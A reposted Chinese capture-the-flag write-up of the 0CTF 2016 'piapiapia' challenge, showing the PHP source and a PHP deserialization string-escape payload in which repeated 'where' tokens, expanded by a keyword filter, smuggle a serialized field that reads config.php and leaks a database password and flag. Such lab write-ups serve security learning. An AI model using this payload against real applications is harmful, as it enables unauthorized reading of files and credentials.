首页 > Windows开发 > 详细

[0CTF 2016]piapiapia (反序列)

时间:2021-04-25 18:37:53      阅读:51      评论:0      收藏:0      [点我收藏+]

先找到register.php注册一个账号,然后登陆,就会跳转到profile.php,用dirsearch扫扫,扫到了www.zip

技术分享图片

 

 

config.php

<?php
    $config[hostname] = 127.0.0.1;
    $config[username] = root;
    $config[password] = ‘‘;
    $config[database] = ‘‘;
    $flag = ‘‘;
?>

显然这里有flag,但是没有出来

然后在profile.php里存在反序列

<?php
    require_once(class.php);
    if($_SESSION[username] == null) {
        die(Login First);    
    }
    $username = $_SESSION[username];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header(Location: update.php);
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile[phone];
        $email = $profile[email];
        $nickname = $profile[nickname];
        $photo = base64_encode(file_get_contents($profile[photo]));
?>

可以看到photo里的文件经过file_get_contents()处理,所以可以在这个读取config.php的flag


登录和注册不看,从update开始

<?php
    require_once(class.php);
    if($_SESSION[username] == null) {
        die(Login First);    
    }
    if($_POST[phone] && $_POST[email] && $_POST[nickname] && $_FILES[photo]) {

        $username = $_SESSION[username];
        if(!preg_match(/^\d{11}$/, $_POST[phone]))
            die(Invalid phone);

        if(!preg_match(/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/, $_POST[email]))
            die(Invalid email);
        
        if(preg_match(/[^a-zA-Z0-9_]/, $_POST[nickname]) || strlen($_POST[nickname]) > 10)
            die(Invalid nickname);

        $file = $_FILES[photo];
        if($file[size] < 5 or $file[size] > 1000000)
            die(Photo size error);

        move_uploaded_file($file[tmp_name], upload/ . md5($file[name]));
        $profile[phone] = $_POST[phone];
        $profile[email] = $_POST[email];
        $profile[nickname] = $_POST[nickname];
        $profile[photo] = upload/ . md5($file[name]);

        $user->update_profile($username, serialize($profile));
        echo Update Profile Success!<a href="profile.php">Your Profile</a>;
    }
    else {
?>

这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
??在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试

class.php中看到了定义的update_profile()方法

    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = ‘$username‘";
        return parent::update($this->table, profile, $new_profile, $where);
    }

filter()

    public function filter($string) {
        $escape = array(\‘, \\\\);
        $escape = / . implode(|, $escape) . /;
        $string = preg_replace($escape, _, $string);

        $safe = array(select, insert, update, delete, where);
        $safe = / . implode(|, $safe) . /i;
        return preg_replace($safe, hacker, $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = ‘$value‘ WHERE $where";
        return mysql_query($sql);
    }

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为‘hacker‘

 

前面已经知道,我们的目的是要读取config.php从而得到flag,读取config.php需要替换$profile[‘photo’],也就是要让config,php成为序列化的一部分,可以利用的是反序列化字符串逃逸

在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃

我们考虑怎么让";}s:5:“photo”;s:10:“config.php”;}这34个字符逃逸出来
前面提到Fliter会将where一类的函数替换成hacker,也就是说where在被正则替换后,其本身的长度会加1,如果我们构造34个where

34*5 = 170    170+34个字符=204=len(‘‘hacker")*34

那么在传入后端之后hacker的长度就会将我们目标逃逸字符挤掉

传入:
s:8:"nickname";a:1:{i:0;s:204:"34*where";}s:5:"photo";s:10:"config.php";}

此时34*where";}s:5:"photo";s:10:"config.php";}都作为nickname存在

正则替换:
s:8:"nickname";a:1:{i:0;s:204:"34*hacker";}s:5:"photo";s:10:"config.php";}

因为s只有204个字符,所以读取第34个hacker之后就停止,34个字符";}s:5:"photo";s:10:"config.php";}不再包含在nickname内

既然从nickname逃逸出,"};将前面的nickname数组闭合之后,剩下的s:5:"photo";s:10:"config.php";}就会被当作photo的部分了,至于后面的upload,由于被后面";}结束反序列化,也就被丢弃,这样就实现了config.php的读取

 

技术分享图片

 

 然后看源码,解码后

<?php
$config[hostname] = 127.0.0.1;
$config[username] = root;
$config[password] = qwertyuiop;
$config[database] = challenges;
$flag = flag{dbb6277a-e7d7-4fed-a249-07c4cdaf19aa};
?>

 

[0CTF 2016]piapiapia (反序列)

原文:https://www.cnblogs.com/tac2664/p/14699849.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!